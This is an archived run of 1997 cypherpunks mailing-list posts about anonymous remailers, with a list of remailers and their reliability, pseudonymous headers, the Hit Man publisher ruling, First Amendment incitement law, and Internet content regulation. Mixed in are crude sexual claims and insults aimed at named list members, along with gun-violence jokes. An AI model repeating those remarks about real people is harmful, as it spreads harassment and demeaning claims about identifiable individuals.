To: Jonathan Wienke <JonWienk@ix.netcom.com>
Subject: Re: If you fought to defend your country...
In-Reply-To: <3.0.3.32.19971130155457.006c6c5c@popd.netcruiser>
Message-ID: <Pine.BSF.3.96.971201041411.4210A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 30 Nov 1997, Jonathan Wienke wrote:
> 
> Yeah, but 18 inches gives a much tighter shot pattern...
Not by much. [I prefer the 14'' HK "Entry" model].

-- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Mon, 1 Dec 1997 12:23:19 +0800
To: Tim May <cypherpunks@cyberpass.net>
Subject: November raids? [was Re: Gun Control brings on a New Arms Race]
In-Reply-To: <v03102803b08c532f2fec@[207.167.93.63]>
Message-ID: <19971201.040708.attila@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

on or about 971110:1309, in <v03102803b08c532f2fec@[207.167.93.63]>, 
    Tim May <tcmay@got.net> was purported to have 
    expostulated to perpetuate an opinion:

>Why can't the gun grabbers realize that Americans will not give up their guns,
>and that every wave of efforts to try to grab them just stimulates the market
>even more?

>Interesting times. The rumored November raids could be very interesting.

>--Tim May

    yes, which november? this nov is gone, but I am still waiting 
    patiently for my share. maybe next year.

    actually, I think I'll hide under the bed and hope the dogs
    cant find me. any man defending himself from under his bed 
    cant be guilty of murder, can he?

    he who dies with the most notches wins?

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQBVAwUBNII6MrR8UA6T6u61AQG57wH7BgytcHkKmbccEEOTrgzsQCYYNhhxi1iQ
BvCe4Fm2ySFOSsyoIjp4zN/efi/cOTVGpQ1a6YsoTXqEO7g74GZSfQ==
=zWkA
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Mon, 1 Dec 1997 18:57:12 +0800
To: remailer-politics@server1.efga.org
Subject: Re: [RePol] NEWBIE QUESTION
In-Reply-To: <3.0.3.16.19971129101259.2feff5ce@global.california.com>
Message-ID: <34828F6F.35F3@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



jari.aalto@poboxes.com wrote:
> Sat 97-11-29 Denizen <logger@california.com> list.repol
> | Since anon.penet.fi is dead, who is left that
> | does approx. the same thing,
> |
> |                   1) allowing non-encrypted email  out
> |                   2) requiring encrypted only
> |                   3) allowing it either way.

>  Would someone shed a light,
> tell me about the backgrounds of Denizen and his motives?
> 
> I'd like to help people, but only the honest ones.

Jari,
  You should also make certain that you only help honest people who
will not become dishonest in the future.
  My suggestion. File all questions away for a period of forty years,
and then, if the person asking the question has proved honest for
that period of time, send them the answer.

  No need to thank me...I'm always willing to help.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Mon, 1 Dec 1997 13:23:34 +0800
To: cypherpunks@cyberpass.net
Subject: Hubba hubba
Message-ID: <fYewN1+es2eCaMkhUb8aZw==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



I'm siiiiiiiiiiiiiiiiiiiiiiiiiiiiiiing'in in the raaaaaaaiiiiiiiiiiiiiiinnnnnnnnnnnnnnnnnnnnnn... The yellow raiiiiiiiiiiiiiiiiiin from Vulis' pisssssssssssssssssssss...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Mon, 1 Dec 1997 13:32:30 +0800
To: Tim May <cypherpunks@cyberpass.net
Subject: Re: Freemen and Serfs
In-Reply-To: <v03102809b0a7c86dc8d5@[207.167.93.63]>
Message-ID: <19971201.052518.attila@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

on or about 971130:1857, in <v03102809b0a7c86dc8d5@[207.167.93.63]>, 
    Tim May <tcmay@got.net> was purported to have 
    expostulated to perpetuate an opinion:

>As for "reaching out to minorities," I am a minority member myself. In fact, my
>ancestors came from Africa.

>--Tim May

    when? 4.5 million years ago? like the rest of us if you believe that
    scenario.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQBVAwUBNIJKhbR8UA6T6u61AQGoXAH/Tx8X8MHRXOiFBPmjB/mORSJAp6HoTZXl
Z7nRKI4gpjTms+fBSmLw+5IAB+rmSP/USGisQ1C/SUbyodrxb2lkyw==
=ViM2
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 1 Dec 1997 23:05:21 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199712011450.GAA18600@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord ?";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"cracker"} = "<remailer@anon.efga.org> cpunk mix remix pgp hash ksub esub latent cut ek reord post";
$remailer{'redneck'} = '<config@anon.efga.org> newnym pgp';
$remailer{"bureau42"} = "<remailer@bureau42.ml.org> cpunk mix pgp ksub hash latent cut ek";
$remailer{"neva"} = "<remailer@neva.org> cpunk pgp pgponly hash cut ksub ?";
$remailer{"lcs"} = "<mix@anon.lcs.mit.edu> mix";
$remailer{"medusa"} = "<medusa@weasel.owl.de> mix middle"
$remailer{"McCain"} = "<mccain@notatla.demon.co.uk> mix middle";
$remailer{"valdeez"} = "<valdeez@juno.com> cpunk pgp pgponly hash ek";
$remailer{"arrid"} = "<arrid@juno.com> cpunk pgp pgponly hash ek";
$remailer{"hera"} = "<goddesshera@juno.com> cpunk pgp pgponly hash ek";
$remailer{"htuttle"} = "<h_tuttle@rigel.cyberpass.net> cpunk pgp hash latent cut post ek";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix reno winsock)
(weasel squirrel medusa)
(cracker redneck)
(nym lcs)
(valdeez arrid hera)

This remailer list is somewhat phooey. Go check out
http://www.publius.net/rlist.html for a good one.

Last update: Thu 23 Oct 97 15:48:06 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
hera     goddesshera@juno.com             ------------  5:03:45  99.86%
nym      config@nym.alias.net             +*#**#**###       :34  95.82%
redneck  config@anon.efga.org             #*##*+#****      2:00  95.44%
mix      mixmaster@remail.obscura.com     +++ ++++++*     19:18  95.27%
squirrel mix@squirrel.owl.de              -- ---+---    2:34:19  95.16%
cyber    alias@alias.cyberpass.net        *++***+ ++      11:26  95.11%
replay   remailer@replay.com              ****   ***      10:06  94.93%
arrid    arrid@juno.com                   ----.------   8:50:34  94.41%
bureau42 remailer@bureau42.ml.org          ---------    3:38:29  93.53%
cracker  remailer@anon.efga.org           +  +*+*+*+      16:32  92.80%
jam      remailer@cypherpunks.ca          +  +*-++++      24:14  92.79%
winsock  winsock@rigel.cyberpass.net      -..-..----    9:59:18  92.22%
neva     remailer@neva.org                ------****+   1:03:02  90.39%
valdeez  valdeez@juno.com                               4:58:22 -36.97%
reno     middleman@cyberpass.net                        1:01:28  -2.65%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 1 Dec 1997 21:58:25 +0800
To: cypherpunks@toad.com
Subject: Re: Pasting in From:
In-Reply-To: <3.0.3.32.19971201001413.03a6d40c@mail.atl.bellsouth.net>
Message-ID: <egB2ge24w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"Robert A. Costner" <pooh@efga.org> writes:

> It seems to me that the purpose of a remailer is to strip the headers,
> including the FROM header, not to put in fake headers.  Until someone can
> explain it to me, I'd consider the idea of adding a FROM header to
> anonymous mail to be asinine.
>
> Best I can tell, the only reasonable good purpose for this is to create a
> persistent nym identity without a reply to capability.  Well, remailer
> software cannot support everything I suppose. (Even if Cracker may
> apparently support this)
>
> I would think the best way to put in a persistent nym capability would be
> to database the PGP key id's along with the persistent identity.  Then the
> remailer could produce lines like
>
> 	From: "Monty Cantsin" <anon@anon.efga.org>
>
> Persistent identities would be created by sending a signed PGP message that
> includes both the PGP public key and the persistent identity.  Since the
> identity server would not database email addresses, only PGP key id's, and
> only work for signed messages, there should be no problem with people
> worrying about the remailer being compromised.  This also keeps someone
> from stealing another's reputation capital.

Igor's STUMP has a similar feature, although I don't think a lot of posters
currently use it.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Mon, 1 Dec 1997 22:22:40 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Pasting in From:
In-Reply-To: <egB2ge24w165w@bwalk.dm.com>
Message-ID: <199712011411.IAA04116@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Dr.Dimitri Vulis KOTM wrote:
> "Robert A. Costner" <pooh@efga.org> writes:
> 
> > It seems to me that the purpose of a remailer is to strip the headers,
> > including the FROM header, not to put in fake headers.  Until someone can
> > explain it to me, I'd consider the idea of adding a FROM header to
> > anonymous mail to be asinine.
> >
> > Best I can tell, the only reasonable good purpose for this is to create a
> > persistent nym identity without a reply to capability.  Well, remailer
> > software cannot support everything I suppose. (Even if Cracker may
> > apparently support this)
> >
> > I would think the best way to put in a persistent nym capability would be
> > to database the PGP key id's along with the persistent identity.  Then the
> > remailer could produce lines like
> >
> > 	From: "Monty Cantsin" <anon@anon.efga.org>
> >
> > Persistent identities would be created by sending a signed PGP message that
> > includes both the PGP public key and the persistent identity.  Since the
> > identity server would not database email addresses, only PGP key id's, and
> > only work for signed messages, there should be no problem with people
> > worrying about the remailer being compromised.  This also keeps someone
> > from stealing another's reputation capital.
> 
> Igor's STUMP has a similar feature, although I don't think a lot of posters
> currently use it.

CBI news agency used to do it until it got tired of signing non-ASCII
messages.

One of the groups that uses STUMP went even farther and decided to allow
only PGP signed anonymous messages. I was really surprised when I saw
that provision.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 1 Dec 1997 21:49:48 +0800
To: cypherpunks@toad.com
Subject: Re: If you fought to defend your country...
In-Reply-To: <199712010717.BAA00499@smoke.suba.com>
Message-ID: <H8B2ge27w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"snow" <snow@smoke.suba.com> writes:

>
> Vulis said:
> > Only 2 inches are required to reach the prostate.  Anything over that
> > is just windows dressing.
>
> 	Sounds like the voice of experience to me.

That's right - I habitually fuck Chris Lewis in the ass with a dildo.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Mon, 1 Dec 1997 16:00:30 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Nuclear Physics Study Group
In-Reply-To: <8f07ca0537b17a179e2c7c496793b5f2@anon.efga.org>
Message-ID: <Pine.BSF.3.96.971201084237.4587A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 30 Nov 1997, Anonymous wrote:

> Lucky Green <shamrock@cypherpunks.to>:
> 
> > On a completely unrelated note, is there some interest in starting up a
> > "Cypherpunks Nuclear Physics Study Group"? I recently finished reading
> > "The Curve of Binding Energy". Fascinating book.
> 
> Is this really unrelated or does it represent growing ambition
> by the cypherpunks shooting club ?  Will you be asking for anonymous
> donations of SNM ?

Anonymous donations of fissionable materials are of course welcome.
[Subject to applicable laws, etc]. As to the Cypherpunks Shooting Club,
one member was recently on an airborne survey mission to identify a
suitable testing area for some model rockets. The kind of model rockets
that can reach orbit. [Half scale. Team includes some people from JPL...]
 
> I could be interested, but not in the manner of the above 2 sentences.

I am simply interested in the theoretical aspects of this field. 

-- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chelsea's.Bloody.Carcass.Remailer@sasknet.sk.ca
Date: Mon, 1 Dec 1997 23:22:51 +0800
To: cypherpunks@toad.com
Subject: Sharon Tate's Baby
Message-ID: <199712011505.JAA03909@harrier.sasknet.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain



"There are no sounds, only numbers.
 Turning round and round inside my brain.
 Turning into words which are stolen from the wind,
 And imprisoned in a digital refrain."
   "Analog was King when Elvis crooned.
    Sound had soul and beauty, dissonance and charm.
    But war has been declared upon the soul (and imperfection),
    And the Digital Revolution is the newest call to arms.

"Digital Revolution" from "The Tables Have Turned (@ 33 rpm)"
    by Probable Cause, (c) 1987 Countie Mountie Productions





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 2 Dec 1997 01:45:38 +0800
To: Duncan Frissell <cypherpunks@cyberpass.net
Subject: Re: RICE v PALADIN ENTERPRISES
In-Reply-To: <199711132216.QAA07981@dfw-ix2.ix.netcom.com>
Message-ID: <v0310280bb0a8936d7a50@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:28 AM -0700 12/1/97, Duncan Frissell wrote:

>The RICE v PALADIN ENTERPRISES decision is up (or part of it anyway):
>
>http://caselaw.findlaw.com/data2/circs/4th/962412p.html

>Certainly, such a conclusion would be reasonable based upon this promotional
>description coupled with the singular character of Hit Man, which is so
>narrowly focused in its subject matter and presenta- tion as to be
>effectively targeted exclusively to criminals. In other words, despite the
>fact that Paladin may technically offer the book for sale to all comers, we
>are satisfied that a jury could, based upon Hit Man's seemingly exclusive
>purpose to assist murderers in the com- mission of murder, reasonably
>conclude that Paladin essentially dis- tributed Hit Man only to murderers and
>would-be murderers -- that its conduct was not, at least in law, different
>from that of a publisher (or anyone else) who delivered Hit Man to a specific
>person or group of persons whom the publisher knew to be interested in
>murder.

Perhaps this is the case. So?

The publishers of the Hemlock Society books on suicide are obviously
targetting their books to would-be suicides. So?

The publishers of books about marijuana cultivation are obvious targetting
their books to would-be marijuan cultivators. So?

The list is long of books and pamphlets which are targetted almost solely
to would-be perpetrators of activities deemed illegal. Beer production
(violates various laws in most states), smuggling, perhaps even crypto
(soon).

The judges here in this case have no understanding of why the First
Amendment was clear about "Congress shall make no law..." Imagine that the
Founders had inserted language along the lines of "...unless the books and
speech may be used to assist in the commission of crimes or may be harmful
to children and other incapables."

That would have ended the publishing of a vast number of books.

I realize that the case here is not about prior restraint, but about civil
damages. But, as I have pointed out here recently, even civil damages cases
rest on "matters of law." Alice cannot sue Bob for damages done to her by,
for example, Bob's opening of a rival store in her small town...even if it
"forced" her into bankruptcy. Why? Becuase on a matter of law, Bob was
committing no crime.

(I'm not a lawyer, and some of you are. I'm just pointing this out to some
list members who may have fallen for the popular misconception that "anyone
can sue." Indeed, anyone may file a lawsuit. This doesn't mean it'll ever
reach trial. Naturally, I support "loser pays" rules to cut down on the
number of frivolous lawsuits.)


>A conclusion that Paladin directed Hit Man to a discrete group rather than to
>the public at large would be supported, even if not established, by the
>evidence that Hit Man is not generally available or sold to the public from
>the bookshelves of local bookstores, but, rather, is obtainable as a
>practical matter only by catalogue. Paladin Press is a mail order company,
>and for the most part does not sell books through retail outlets. In order to
>procure a copy of Hit Man,

 Utter bullshit.

A store in Santa Cruz which caters to the piercing and fetish crowd,
"Annubis Warpus," had a whole series of Paladin Press books. I recall
seeing "Hit Man," a fairly thin paperback (as most Paladin and Delta Press
books are).

As to why Barnes and Noble and Borders and Crown Books don't carry these
books. Think: political correctness.

And I've seen many, many Paladin books for sale at gun shows. I've even
bought some. (Always better to pay with cash than to mail-order these
books, as I expect someday the lists of purchasers of some of these books
will be turned over to the Thought Police.)

Blaming Paladin because some wimp-simp book buyer for Barnes and Noble said
"ick!" when she saw the Paladin catalog is absurd.

These judges need to be taught a lesson in what a free press is all about.

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Honig <honig@otc.net>
Date: Tue, 2 Dec 1997 03:15:05 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: At night, the ice weasels come...
In-Reply-To: <34803754.42E5@dev.null>
Message-ID: <3.0.5.32.19971201094034.007f2620@206.40.207.40>
MIME-Version: 1.0
Content-Type: text/plain



At 11:24 PM 11/29/97 EST, Dr.Dimitri Vulis KOTM wrote:
>What will Cottrell do if someone uses his anonymizer(R)[TM] to connect to
>someone's web server many times in a row, requesting the same pages, and
>the admins of said server whine about "denial of service" attacks?
>

Is there any legal precident for charging someone with a crime related to
DoS? 
With a crime related to HTTP-exploitation DoS? 




------------------------------------------------------------
      David Honig                   Orbit Technology
     honig@otc.net                  Intaanetto Jigyoubu

Information is a dense, colorless, odorless material readily transmitted
across empty space and arbitrary boundaries by shaking charged particles.
















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Off-Topic.Header.Remailer@sasknet.sk.ca
Date: Tue, 2 Dec 1997 00:20:50 +0800
To: cypherpunks@toad.com
Subject: None
Message-ID: <199712011606.KAA09944@harrier.sasknet.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain



Anon-To:





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 2 Dec 1997 00:08:54 +0800
To: cypherpunks@toad.com
Subject: Conservative groups call for new Net "code of conduct"
Message-ID: <v03007818b0a88ccb1fad@[204.254.22.168]>
MIME-Version: 1.0
Content-Type: text/plain



I'm sitting in the National Press Club, in front of a
dozen television cameras, where a conservative press
conference on Kids and the Net is starting. Groups like the
Family Research Council and the Christian Coalition are
complaining that the Internet industry isn't doing enough
to label, filter, and rate the Net and is instead looking
to "make a few quick bucks."

What prompted this event is a two-day summit about to start
here in Washington, DC, where high tech firms are joining
senior administration officials. The industry's goal: to
head off the sequel to the Communications Decency Act.

Sen. Dan Coats (R-Indiana), the bill's chief sponsor, is
here today. "It has only been the threat of government
involvment that has prompted this industry to take any
steps at all," he's saying. "There is a dark side to the
Internet. That dark side brings unrestrained, unrestricted
pornographic material into every home, every library, every
school."

Now Karen Jo Gounaud is blasting the American Library
Association for the unlikely offense of condoning
bestiality. "Parents cannot being to handle these problems
alone. It's a village problem and it demands a village
solution," she says.

The solution, these groups say, is to pressure Internet
providers to adopt their "Code of Ethical Conduct." It says:
"Will adopt terms-of-service policies stating that it
reserves the right to take action in good faith to restrict
availability of material that it considers to be obscene,
lewd, lascivious, filthy, excessively violent, harassing,
or otherwise objectionable, whether or not such material is
constitutionally protected." Among other things, the code
calls for Usenet filtering and "parental controls as the
default settings" for minors.

In a few hours (in the same room, in fact), civil liberties
and journalism groups are going to be arguing against
"mandatory voluntary" rating systems and pointing out their
flaws.

This leaves the White House precisely where it wants to be:
squarely in the middle. More on this later.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Tue, 2 Dec 1997 00:28:02 +0800
To: Jonathan Wienke <JonWienk@ix.netcom.com>
Subject: Re: Big Brother Is Watching ATMs
In-Reply-To: <3.0.3.32.19971130213445.006ad57c@popd.netcruiser>
Message-ID: <v03007801b0a877592509@[198.115.179.81]>
MIME-Version: 1.0
Content-Type: text/plain



G'day Jonathan,

	Could you please identify this "bank card company" by name, card,
nation, etc. ?

	Without some explicit cite of a commercial entity -- or a reference
to some "strip-'em-naked-with-electrons" Police R&D group like the guys at
Rome AFB -- this report sounds like another of those ID-Implant fantasies
circulated by the guys who are bolting steel plate to their screen doors
and programming their backyard AA to auto-target (a) Black Helicopters (b)
which are on low-level rapid approach (c) full Oriental, Arab, and Hispanic
troopers (c) wearing Blue Helmets.

	Got a single verifiable fact you could share?

	Or, with further checking, could you confirm that is this just
another spicy rumor crafted to keep the boyos in the hills rubbing garlic
into their hollow-points with proper militia enthusiasm?  (Not that I don't
enjoy a good tale to wake up sleepy Computer Science undergrads, mind
you...)

	Up the Revolution,

		              _Vin



>-----BEGIN PGP SIGNED MESSAGE-----
>Hash: SHA1
>
>I just heard that a bank card company has just released a program for using
>photos of the iris in people's eyes as a biometric ID to replace people's
>PIN codes for ATM / credit cards.  What I found really interesting is how
>they plan to implement it.  As people use the ATM, they are photographed.
>(Every ATM has a security camera.)  Over time, as people use the ATM, the
>security camera images are composited to produce a high-quality image of
>their irises, which is coded and placed in their account information.

      Vin McLellan + The Privacy Guild + <vin@shore.net>
  53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548
                                  -- <@><@> --






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Godwin <mnemonic@well.com>
Date: Tue, 2 Dec 1997 00:14:58 +0800
To: declan@well.com
Subject: Re: FC: Revolution and the limits of free speech online
In-Reply-To: <v0300780eb0a7fdaadba9@[204.254.22.168]>
Message-ID: <v03110702b0a88ced9138@[153.35.1.11]>
MIME-Version: 1.0
Content-Type: text/plain




The proper test is not the Yates test, but the test of Brandenburg v. U.S.
(1969, I believe), which distinguishes between mere advocacy of violence
and "incitement to imminent lawless action" that is "likely to result in
such action." Brandenburg is the leading case.

Under Brandenburg, Tim May or anyone else could call for violent revolution
(or for the commission of other violent acts) and the speech is understood
to be protected. Only an incitement to *imminent* (that is, immediate)
violent action, where such incitement is likely to cause an unreflective
response, is punishable.

The facts of Brandenburg concern a speech given at a KKK rally in which the
speaker called for a race war and "revengeance" against non-whites. The
speech was deemed to be protected by the First Amendment. The decision was
authored by Justice Hugo Black.


Mike





>----
>
>Date: Fri, 28 Nov 1997 00:45:48 -0500
>To: cypherpunks@toad.com
>From: Declan McCullagh <declan@well.com>
>Subject: Is Tim May guilty of illegally advocating revolution?
>
>So I've been reading "Freedom and the Court" by Henry Abraham, and a
>passage in it made me think of Tim May and the cypherpunks list:
>
>	"//Actual, overt// incitement of the overthrow of the government
>	of the United States by force and violence, accompanied by the
>	language of direct and imminent incitement, is not freedom of
>	expression but a violation of Court-upheld legislative
>	proscriptions; yet the //theoretical// advocacy of such
>	overthrow, on the other hand, has been a judicially recognized
>	protected freedom since 1957." [See Yates v. United States, 354
>	U.S. 298 (1957), particularly Mr. Justice Harlan's opinion for
>	the 6:1 court.] (Emphasis in the original. --DM)
>
>Some civil liberties lawyers, incidentally, have told me that Internet
>messages almost by definition are probably not "direct and imminent
>incitement."
>
>Some excerpts from Yates v. United States:
>
>http://caselaw.findlaw.com/scripts/getcase.pl?navby=case&court=US&vol=354&page=
>2
>9
>        The essential distinction [354 U.S. 298, 325] is that those to whom
>	the advocacy is addressed must be urged to do something, now or
>	in the future, rather than merely to believe in something. [...]
>
>        Instances of speech that could be considered to amount to "advocacy
>	of action" are so few and far between as to be almost completely
>	overshadowed by the hundreds of instances in the record in which
>	overthrow, if mentioned at all, occurs in the course of doctrinal
>	disputation so remote from action as to be almost wholly lacking
>	in probative value. Vague references to "revolutionary" or
>	"militant" action of an unspecified character, which are found
>	in the evidence, might in addition be given too great weight by
>	the jury in the absence of more precise instructions.
>	Particularly in light of this record, we must regard the trial
>	court's charge in this respect as furnishing wholly inadequate
>	guidance to the jury on this central point in the case. We cannot
>	allow a conviction to stand on such "an equivocal direction to
>	the jury on a basic issue."
>
>-Declan
>
>
>Date: Fri, 28 Nov 1997 07:25:01 -0500
>To: Declan McCullagh <declan@well.com>, cypherpunks@toad.com
>From: Duncan Frissell <frissell@panix.com>
>Subject: Re: Is Tim May guilty of illegally advocating revolution?
>
>At 12:45 AM 11/28/97 -0500, Declan McCullagh wrote:
>>So I've been reading "Freedom and the Court" by Henry Abraham, and a
>>passage in it made me think of Tim May and the cypherpunks list:
>
>There is no crime called "advocating revolution" or even
>"revolution."  The crime that is being discussed in such cases is
>"sedition."
>
>Any US Attorney will tell you that sedition convictions are hard to
>win because of the difficulty proving that the defendant actually
>tried to do so in a realistic way.  Tough.
>
>The trial of a group of isolationists during WWII and some white
>supremacists a few years ago resulted in acquittals.
>
>DCF
>
>
>
>Date: Sat, 29 Nov 1997 22:33:10 -0800
>To: Declan McCullagh <declan@well.com>, cypherpunks@toad.com
>From: Bill Stewart <stewarts@ix.netcom.com>
>Subject: Re: Is Tim May guilty of illegally advocating revolution?
>
>At 12:45 AM 11/28/1997 -0500, Declan McCullagh wrote:
>>	"//Actual, overt// incitement of the overthrow of the government
>>	of the United States by force and violence, accompanied by the
>>	language of direct and imminent incitement, is not freedom of
>>	expression but a violation of Court-upheld legislative
>>	proscriptions; yet the //theoretical// advocacy of such
>>	overthrow, on the other hand, has been a judicially recognized
>>	protected freedom since 1957." [See Yates v. United States, 354
>>	U.S. 298 (1957), particularly Mr. Justice Harlan's opinion for
>>	the 6:1 court.] (Emphasis in the original. --DM)
>>
>>http://caselaw.findlaw.com/scripts/getcase.pl?navby=case&court=US&vol=354&page
>>=2
>Actually, the linewrap munged the "page=298" at the end, leaving a
>reference is Reid vs. Covert, another fascinating case,
>dealing with the limits on US jurisdiction on citizens outside the 48 states,
>in particarticular military jurisdiction and territorial jurisdictions
>(including pointers to the cases about confiscation of Mormon Church property
>during the Defense Of Marriage\\\\\\\\\\\anti-polygamy legislation.)
>
>Yates, a case about the legalization of Communism, is at
>http://caselaw.findlaw.com/scripts/getcase.pl?navby=case&court=US&vol=354&page=
>2
>98 .
>While the primary opinion of the court was as above, the court
>unfortunately stopped short of the blazingly absolutist defense of free speech
>by Justice Hugo Black (joined by Douglas), in an opinion that partially
>concurs and partially dissents, and is therefore only dicta.
>	"I believe that the First Amendment forbids Congress to punish people
>	for talking about public affairs, whether or not such discussion
>	incites to action, legal or illegal."   ......
>
>It was either this case or cases like it that spurred the
>John Birch Society to their calls for impeaching Earl Warren,
>even before that pinko compounded his anti-Americanism by
>insisting that cops read people their rights and get search warrants.
>
